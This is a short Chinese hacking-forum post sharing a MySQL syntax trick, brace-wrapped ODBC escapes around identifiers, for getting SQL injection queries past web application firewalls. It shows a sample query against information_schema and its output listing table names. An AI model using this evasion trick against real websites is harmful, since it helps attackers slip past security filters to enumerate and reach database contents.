搜索
查看: 2817|回复: 0

mysql 语法绕过一些WAF

[复制链接]

152

主题

251

帖子

540

积分

高级会员

中国黑客

Rank: 4

积分
540
QQ
发表于 2018-12-1 18:11:23 来自手机 | 显示全部楼层 |阅读模式
一个小tips,twitter上看见的:
一句话:
 select{x table_name}from{x information_schema.tables}

测试:
 mysql> select{x table_name}from{x information_schema.tables};
+----------------------------------------------------+
| table_name                                         |
+----------------------------------------------------+
| CHARACTER_SETS                                     |
| COLLATIONS                                         |
| COLLATION_CHARACTER_SET_APPLICABILITY              |
| COLUMNS                                           |
| COLUMN_PRIVILEGES                      |
| ENGINES                                             |

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表